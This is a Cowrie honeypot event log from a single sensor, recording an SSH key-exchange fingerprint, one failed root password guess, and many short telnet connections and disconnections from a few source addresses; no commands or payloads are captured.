{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:03.995278Z","src_ip":"107.173.55.151","session":"bd07a135564a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing2025","message":"login attempt [root/Testing2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:04.102317Z","src_ip":"107.173.55.151","session":"bd07a135564a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52766,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e041655e300","protocol":"telnet","message":"New connection: 202.91.32.11:52766 (159.203.135.109:23) [session: 0e041655e300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:04.220633Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:05.125652Z","src_ip":"107.173.55.151","session":"bd07a135564a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52778,"dst_ip":"159.203.135.109","dst_port":23,"session":"88fb60e4ca32","protocol":"telnet","message":"New connection: 202.91.32.11:52778 (159.203.135.109:23) [session: 88fb60e4ca32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:06.062437Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52794,"dst_ip":"159.203.135.109","dst_port":23,"session":"0884aaa583fd","protocol":"telnet","message":"New connection: 202.91.32.11:52794 (159.203.135.109:23) [session: 0884aaa583fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:06.506884Z"}
{"eventid":"cowrie.session.closed","duration":34.047159910202026,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:06.629024Z","src_ip":"45.63.42.31","session":"e26a072532d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52796,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1104a40a5c1","protocol":"telnet","message":"New connection: 202.91.32.11:52796 (159.203.135.109:23) [session: c1104a40a5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:06.688876Z"}
{"eventid":"cowrie.session.closed","duration":32.31205773353577,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:06.719301Z","src_ip":"202.91.32.11","session":"2f8457509320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52810,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1ece10d7bb8","protocol":"telnet","message":"New connection: 202.91.32.11:52810 (159.203.135.109:23) [session: f1ece10d7bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:06.754396Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52814,"dst_ip":"159.203.135.109","dst_port":23,"session":"616086a94ff6","protocol":"telnet","message":"New connection: 202.91.32.11:52814 (159.203.135.109:23) [session: 616086a94ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:07.031303Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52824,"dst_ip":"159.203.135.109","dst_port":23,"session":"96f81071c02d","protocol":"telnet","message":"New connection: 202.91.32.11:52824 (159.203.135.109:23) [session: 96f81071c02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:07.724758Z"}
{"eventid":"cowrie.session.closed","duration":32.18002796173096,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:08.976630Z","src_ip":"202.91.32.11","session":"5d988e4b2788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845314264297485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:09.286418Z","src_ip":"202.91.32.11","session":"6a1825b083bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011911869049072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:09.434728Z","src_ip":"202.91.32.11","session":"488a7e8bdc06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.089887619018555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:09.443632Z","src_ip":"202.91.32.11","session":"0c191bc1e10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239426851272583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:09.773281Z","src_ip":"202.91.32.11","session":"a446cc41bc4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52826,"dst_ip":"159.203.135.109","dst_port":23,"session":"777c2fef03ad","protocol":"telnet","message":"New connection: 202.91.32.11:52826 (159.203.135.109:23) [session: 777c2fef03ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:09.986608Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52828,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f8c5606154b","protocol":"telnet","message":"New connection: 202.91.32.11:52828 (159.203.135.109:23) [session: 8f8c5606154b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:11.560979Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":52838,"dst_ip":"159.203.135.109","dst_port":23,"session":"cde320370c38","protocol":"telnet","message":"New connection: 202.91.32.11:52838 (159.203.135.109:23) [session: cde320370c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:11.924850Z"}
{"eventid":"cowrie.session.closed","duration":31.069653749465942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:11.950017Z","src_ip":"202.91.32.11","session":"8d90d09ef87f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":37372,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e9a47a7c044","protocol":"telnet","message":"New connection: 45.63.42.31:37372 (10.17.0.5:23) [session: 5e9a47a7c044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:12.063328Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39388,"dst_ip":"10.17.0.5","dst_port":23,"session":"003878686a72","protocol":"telnet","message":"New connection: 45.63.42.31:39388 (10.17.0.5:23) [session: 003878686a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:13.135206Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40078,"dst_ip":"159.203.135.109","dst_port":23,"session":"c249eee19906","protocol":"telnet","message":"New connection: 202.91.32.11:40078 (159.203.135.109:23) [session: c249eee19906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:13.672727Z"}
{"eventid":"cowrie.session.closed","duration":33.559778690338135,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:14.119157Z","src_ip":"45.63.42.31","session":"2961b2fb82b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40088,"dst_ip":"159.203.135.109","dst_port":23,"session":"8010321a4657","protocol":"telnet","message":"New connection: 202.91.32.11:40088 (159.203.135.109:23) [session: 8010321a4657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:14.280606Z"}
{"eventid":"cowrie.session.closed","duration":30.95118522644043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:14.706105Z","src_ip":"202.91.32.11","session":"45dbb38c099b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.86685585975647,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:14.759444Z","src_ip":"45.63.42.31","session":"06271f2cc51a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33054256439209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:15.092375Z","src_ip":"202.91.32.11","session":"df40691a6997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40102,"dst_ip":"159.203.135.109","dst_port":23,"session":"0311d5137207","protocol":"telnet","message":"New connection: 202.91.32.11:40102 (159.203.135.109:23) [session: 0311d5137207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:15.153578Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45920,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab59563e0b36","protocol":"telnet","message":"New connection: 45.63.42.31:45920 (10.17.0.5:23) [session: ab59563e0b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:16.371964Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40108,"dst_ip":"159.203.135.109","dst_port":23,"session":"e16e9d87058d","protocol":"telnet","message":"New connection: 202.91.32.11:40108 (159.203.135.109:23) [session: e16e9d87058d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:16.868796Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40122,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c87878690a4","protocol":"telnet","message":"New connection: 202.91.32.11:40122 (159.203.135.109:23) [session: 8c87878690a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:16.980767Z"}
{"eventid":"cowrie.session.closed","duration":30.778079986572266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:18.187443Z","src_ip":"202.91.32.11","session":"05c715b574b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40136,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c1eef43b681","protocol":"telnet","message":"New connection: 202.91.32.11:40136 (159.203.135.109:23) [session: 6c1eef43b681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:18.802337Z"}
{"eventid":"cowrie.session.closed","duration":31.80931544303894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:18.971402Z","src_ip":"202.91.32.11","session":"d0ae32e379d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40138,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b200fb4ba4e","protocol":"telnet","message":"New connection: 202.91.32.11:40138 (159.203.135.109:23) [session: 8b200fb4ba4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:19.589732Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40150,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ba77d18891","protocol":"telnet","message":"New connection: 202.91.32.11:40150 (159.203.135.109:23) [session: 48ba77d18891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:20.836655Z"}
{"eventid":"cowrie.session.closed","duration":31.138976573944092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:21.415064Z","src_ip":"202.91.32.11","session":"36830446a06d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.686944007873535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:21.529742Z","src_ip":"202.91.32.11","session":"f4dccca55f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":40166,"dst_ip":"159.203.135.109","dst_port":23,"session":"14dcfeb70a49","protocol":"telnet","message":"New connection: 202.91.32.11:40166 (159.203.135.109:23) [session: 14dcfeb70a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:21.802350Z"}
{"eventid":"cowrie.session.closed","duration":30.681153297424316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:22.087916Z","src_ip":"202.91.32.11","session":"561055f02d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa8fb093cbbe","protocol":"telnet","message":"New connection: 202.91.32.11:56794 (159.203.135.109:23) [session: fa8fb093cbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:23.069000Z"}
{"eventid":"cowrie.session.closed","duration":36.870463848114014,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:23.368364Z","src_ip":"45.63.42.31","session":"da26b6c37230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07849407196045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:23.545797Z","src_ip":"45.63.42.31","session":"b075886f21ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":56810,"dst_ip":"159.203.135.109","dst_port":23,"session":"70af10103793","protocol":"telnet","message":"New connection: 202.91.32.11:56810 (159.203.135.109:23) [session: 70af10103793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:24.457206Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36180,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd09f7bdb58d","protocol":"telnet","message":"New connection: 45.63.42.31:36180 (10.17.0.5:23) [session: fd09f7bdb58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:24.502305Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":56812,"dst_ip":"159.203.135.109","dst_port":23,"session":"231bd6473f98","protocol":"telnet","message":"New connection: 202.91.32.11:56812 (159.203.135.109:23) [session: 231bd6473f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:25.830455Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40098,"dst_ip":"10.17.0.5","dst_port":23,"session":"2906aaf6d8d2","protocol":"telnet","message":"New connection: 45.63.42.31:40098 (10.17.0.5:23) [session: 2906aaf6d8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:26.416056Z"}
{"eventid":"cowrie.session.closed","duration":30.879989862442017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:26.453600Z","src_ip":"202.91.32.11","session":"5af748f51843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40296,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d30371a3c7c","protocol":"telnet","message":"New connection: 45.63.42.31:40296 (10.17.0.5:23) [session: 4d30371a3c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:26.522457Z"}
{"eventid":"cowrie.session.closed","duration":30.880606412887573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:26.700840Z","src_ip":"202.91.32.11","session":"931f9b9a6f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8093159198761,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:27.298545Z","src_ip":"202.91.32.11","session":"e562a7a4d021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43182,"dst_ip":"10.17.0.5","dst_port":23,"session":"d96998ab9d7f","protocol":"telnet","message":"New connection: 45.63.42.31:43182 (10.17.0.5:23) [session: d96998ab9d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:28.028618Z"}
{"eventid":"cowrie.session.closed","duration":31.57473087310791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:28.798036Z","src_ip":"202.91.32.11","session":"7c673199da67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856046438217163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:30.221152Z","src_ip":"202.91.32.11","session":"4d402c6381ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47698,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7494f68dab","protocol":"telnet","message":"New connection: 45.63.42.31:47698 (10.17.0.5:23) [session: ad7494f68dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:30.241526Z"}
{"eventid":"cowrie.session.closed","duration":30.84619402885437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:30.470754Z","src_ip":"202.91.32.11","session":"2cb01f6ee171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.433053255081177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:30.609612Z","src_ip":"202.91.32.11","session":"7aaf957297e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854439973831177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:31.278601Z","src_ip":"202.91.32.11","session":"dbf985050eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33204221725464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:32.140651Z","src_ip":"202.91.32.11","session":"2639fb62e7fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":56826,"dst_ip":"159.203.135.109","dst_port":23,"session":"d89f34f7ec13","protocol":"telnet","message":"New connection: 202.91.32.11:56826 (159.203.135.109:23) [session: d89f34f7ec13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:32.341583Z"}
{"eventid":"cowrie.session.closed","duration":31.877094507217407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:32.901727Z","src_ip":"202.91.32.11","session":"c29709364e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982807874679565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:33.405698Z","src_ip":"202.91.32.11","session":"d6bbc5cc6698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.056349515914917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:33.726867Z","src_ip":"202.91.32.11","session":"628eab4c446c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129565238952637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:33.920886Z","src_ip":"202.91.32.11","session":"6a6181248da2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47194,"dst_ip":"159.203.135.109","dst_port":23,"session":"f741ef8f2bc5","protocol":"telnet","message":"New connection: 202.91.32.11:47194 (159.203.135.109:23) [session: f741ef8f2bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:34.793872Z"}
{"eventid":"cowrie.session.closed","duration":31.645459413528442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:35.007139Z","src_ip":"202.91.32.11","session":"109e32d1341e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893664598464966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:35.114159Z","src_ip":"202.91.32.11","session":"0e041655e300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59568,"dst_ip":"10.17.0.5","dst_port":23,"session":"23ffcc0dfcde","protocol":"telnet","message":"New connection: 45.63.42.31:59568 (10.17.0.5:23) [session: 23ffcc0dfcde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:36.130465Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47208,"dst_ip":"159.203.135.109","dst_port":23,"session":"667891a2091b","protocol":"telnet","message":"New connection: 202.91.32.11:47208 (159.203.135.109:23) [session: 667891a2091b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:37.478733Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47224,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a3666b69501","protocol":"telnet","message":"New connection: 202.91.32.11:47224 (159.203.135.109:23) [session: 6a3666b69501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:37.589125Z"}
{"eventid":"cowrie.session.closed","duration":31.340389251708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:37.847157Z","src_ip":"202.91.32.11","session":"0884aaa583fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.790218591690063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:37.852523Z","src_ip":"202.91.32.11","session":"88fb60e4ca32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119303226470947,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:37.873610Z","src_ip":"202.91.32.11","session":"f1ece10d7bb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":47238,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9dae03cc5af","protocol":"telnet","message":"New connection: 202.91.32.11:47238 (159.203.135.109:23) [session: e9dae03cc5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:37.952614Z"}
{"eventid":"cowrie.session.closed","duration":31.38555645942688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:38.070146Z","src_ip":"202.91.32.11","session":"c1104a40a5c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70010733604431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:21:38.424754Z","src_ip":"202.91.32.11","session":"96f81071c02d","protocol":"telnet"}
